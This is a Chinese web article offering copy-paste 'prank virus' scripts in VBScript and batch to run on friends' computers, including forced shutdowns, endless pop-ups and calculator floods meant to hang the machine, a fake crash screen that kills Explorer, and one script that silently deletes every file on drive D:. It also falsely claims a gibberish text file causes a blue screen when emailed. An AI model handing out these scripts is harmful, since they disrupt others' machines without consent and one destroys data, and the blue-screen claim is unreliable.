恶搞电脑病毒代码有哪些?

恶搞电脑病毒代码有哪些?,第1张

有时候想和朋友们玩玩,搞点恶搞电脑病毒给他们,要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!

恶搞电脑病毒代码介绍一:

首先在电脑上新建一个TXT文档

然后把下面这段代码输入进去

On Error Resume Next

Dim WSHshellA

Set WSHshellA = wscript.CreateObject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪,不喊就马上让你关机,不信,试试···"" ", 0, True

Dim a

Do While (a <>"我是猪")

a = InputBox("快说我是猪,不叫就不关机,快点,说 ", "说不说", "不说", 8000, 7000)

MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"

Loop

MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"

WSHshella.run "cmd.exe /c shutdown -a"

然后保存

然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀,

你要修改为.VBS的后缀

恶搞电脑病毒代码介绍二:

新建一个文本文档,然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片,如果对方有邮箱,就发给他

他一打开就会出现你插入的图片,然后出现 蓝屏 (效果7—10分钟)(注:做好病毒后不要打开,否则会出现以上说的情况)

恶搞电脑病毒代码介绍三:

新建一个文本文档(.txt),要复制以下代码:

@echo off

color 4

tskill explorer

echo .

echo .

echo .

echo .

echo 警告:在病毒执行期间禁止关闭电源,

echo 否则你就和你心爱的电脑说

echo .

echo . BYE-BYE

echo .

echo Computer system crash!

echo .

echo .

echo I am a virus, my name is Ghost.

echo 我是魔鬼病毒,在这个堕落的世界上苏醒了。

echo .

echo . Warning! CPU has been changed please re-enter CPU settings

echo. in the CMOS setuo and remember to save before quit.

echo. Secondary IDE channel no 80 conductor cable installed.

set /p select=:)

if "%select%"=="" goto start

:start

shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒,今天是它的发作日期。病毒已经破坏了您的系统,您的计算机将在10秒钟后重启。"

::结束

再另存为:名字.bat 你要记住"名字"后面要加".bat"

就可以了,没有任何破坏性,吓吓人。

你可以试试看看效果。

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 :

一、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

二、打开无数个计算器,直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

----------------------------------------------------------------------------

三、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

---------------------------------------------------------------------------

四、删除D:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

五、不断d出窗口

while(1)

msgbox "哈哈 你被耍了!"

loop

----------------------------------------------------------------------------

六、不断按下alt+f4 (开什么都关闭……)

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}" loop

---------------------------------------------------------------------------

七、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)

dim s

do until s=500

s=s+1

msgbox "哥们,给我按500次回车吧",64

loop

---------------------------------------------------------------------------

八、关不掉的窗口

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)

WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?")

WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")

WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦")

WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")

WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!")

WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")

WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下") WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下") WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下") WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下") WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下") WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下") WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下") WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下") WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下") WScript.Echo("还剩15下")

WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说")

WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555")

WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?")

WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!")

WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?")

WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

-----------------------------------------------------------------

为了友谊的小船,请谨慎使用


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/tougao/7974311.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-12
下一篇 2023-04-12

发表评论

登录后才能评论

评论列表(0条)

保存